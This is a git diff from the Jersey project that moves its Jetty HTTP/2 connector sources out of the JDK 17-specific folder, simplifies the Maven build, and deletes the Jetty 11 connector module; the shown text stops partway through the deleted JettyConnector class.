diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
index 1293426..bcced89 100644
--- a/connectors/jetty-http2-connector/pom.xml
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-http2-connector</artifactId>
@@ -34,10 +34,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <dependencies>
@@ -67,7 +63,38 @@
             <artifactId>jersey-jetty-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
-
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-client</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-client-transport</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-jaxb</artifactId>
@@ -119,180 +146,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
-                                <testExclude>module-info.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-client</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-client-transport</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http2</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-                    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java17/module-info.java b/connectors/jetty-http2-connector/src/main/java/module-info.java
similarity index 100%
rename from connectors/jetty-http2-connector/src/main/java17/module-info.java
rename to connectors/jetty-http2-connector/src/main/java/module-info.java
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 96%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 36556e0..04c3c76 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
similarity index 97%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
index a602b0d..75acaba 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
similarity index 96%
rename from connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
rename to connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
index 02eaf5a..a14801f 100644
--- a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
deleted file mode 100644
index 7d203cc..0000000
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
-import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
- *
- * @since 2.41
- */
-public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
-    private final HttpClient http2Client;
-
-    /**
-     * default Http2Client created for the supplier.
-     */
-    public JettyHttp2ClientSupplier() {
-        this(createHttp2Client());
-    }
-    /**
-     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
-     * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client seed doc for JDK 11+.
-     */
-    public JettyHttp2ClientSupplier(HttpClient http2Client) {
-        this.http2Client = http2Client;
-    }
-
-    private static final HttpClient createHttp2Client() {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK lower than 17
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return http2Client;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 301879c..0000000
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK lower than 17
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 5fc8425..d583ea0 100644
--- a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
+++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,5 +17,4 @@
 # {0} - HTTP method, e.g. GET, DELETE
 method.not.supported=Method {0} not supported.
 invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 17.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
\ No newline at end of file
diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml
deleted file mode 100644
index b83092e..0000000
--- a/connectors/jetty11-connector/pom.xml
+++ /dev/null
@@ -1,163 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-jetty11-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-jetty11</name>
-
-    <description>Jersey Client Transport via Jetty 11.x</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-    </properties>
-
-    <dependencyManagement>
-        <dependencies>
-<!--            <dependency>-->
-<!--                <groupId>org.eclipse.jetty</groupId>-->
-<!--                <artifactId>jetty-server</artifactId>-->
-<!--                <version>${jetty11.version}</version>-->
-<!--            </dependency>-->
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-client</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.slf4j</groupId>
-            <artifactId>slf4j-api</artifactId>
-            <version>${slf4j.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-jaxb</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-jackson</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>com.sun.xml.bind</groupId>
-            <artifactId>jaxb-osgi</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-enforcer-plugin</artifactId>
-                <configuration>
-                    <rulesToSkip>dependencyConvergence</rulesToSkip>
-                </configuration>
-            </plugin>
-        </plugins>
-    </build>
-</project>
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
deleted file mode 100644
index d99c918..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.Map;
-
-import org.glassfish.jersey.internal.util.PropertiesClass;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-
-/**
- * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-@PropertiesClass
-public final class JettyClientProperties {
-
-    /**
-     * Prevents instantiation.
-     */
-    private JettyClientProperties() {
-        throw new AssertionError("No instances allowed.");
-    }
-
-    /**
-     * A value of {@code false} indicates the client should handle cookies
-     * automatically using HttpClient's default cookie policy. A value
-     * of {@code false} will cause the client to ignore all cookies.
-     * <p/>
-     * The value MUST be an instance of {@link Boolean}.
-     * If the property is absent the default value is {@code false}
-     */
-    public static final String DISABLE_COOKIES =
-            "jersey.config.jetty11.client.disableCookies";
-
-    /**
-     * The credential provider that should be used to retrieve
-     * credentials from a user.
-     *
-     * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found,
-     * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result},
-     * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore}
-     * so that subsequent requests can be preemptively authenticated.
-
-     * <p/>
-     * The value MUST be an instance of {@link
-     * org.eclipse.jetty.client.util.BasicAuthentication}.  If
-     * the property is absent a default provider will be used.
-     */
-    public static final String PREEMPTIVE_BASIC_AUTHENTICATION =
-            "jersey.config.jetty11.client.preemptiveBasicAuthentication";
-
-    /**
-     * A value of {@code false} indicates the client disable a hostname verification
-     * during SSL Handshake. A client will ignore CN value defined in a certificate
-     * that is stored in a truststore.
-     * <p/>
-     * The value MUST be an instance of {@link Boolean}.
-     * If the property is absent the default value is {@code true}.
-     */
-    public static final String ENABLE_SSL_HOSTNAME_VERIFICATION =
-            "jersey.config.jetty11.client.enableSslHostnameVerification";
-
-    /**
-     * Overrides the default Jetty synchronous listener response max buffer size.
-     * In practise, this allows you to read larger responses.
-     * Size in bytes.
-     * <p/>
-     * If the property is absent, the value is such as specified by Jetty (currently 2MiB).
-     */
-    public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE =
-        "jersey.config.jetty11.client.syncListenerResponseMaxSize";
-
-    /**
-     * Total timeout interval for request/response conversation, in milliseconds.
-     * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}.
-     * <p>
-     * The value MUST be an instance convertible to {@link Integer}. The
-     * value of zero (0) is equivalent to an interval of infinity.
-     * </p>
-     * <p>
-     * The default value is zero (infinity).
-     * </p>
-     * <p>
-     * The name of the configuration property is <tt>{@value}</tt>.
-     * </p>
-     *
-     * @since 2.37
-     */
-    public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout";
-
-    /**
-     * Get the value of the specified property.
-     *
-     * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}.
-     *
-     * @param properties  Map of properties to get the property value from.
-     * @param key         Name of the property.
-     * @param type        Type to retrieve the value as.
-     * @param <T>         Type of the property value.
-     * @return Value of the property or {@code null}.
-     *
-     * @since 2.8
-     */
-    public static <T> T getValue(final Map<String, ?> properties, final String key, final Class<T> type) {
-        return PropertiesHelper.getValue(properties, key, type, null);
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
deleted file mode 100644
index 7565b4b..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ /dev/null
@@ -1,552 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.MultivaluedMap;
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.eclipse.jetty.client.util.BytesContentProvider;
-import org.eclipse.jetty.client.util.FutureResponseListener;
-import org.eclipse.jetty.client.util.OutputStreamContentProvider;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.io.ClientConnector;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
-import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.Statuses;
-
-import javax.net.ssl.SSLContext;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.CookieStore;
-import java.net.URI;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Consumer;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-/**
- * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p/>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link ClientProperties#PROXY_URI}</li>
- * <li>{@link ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * <p/>
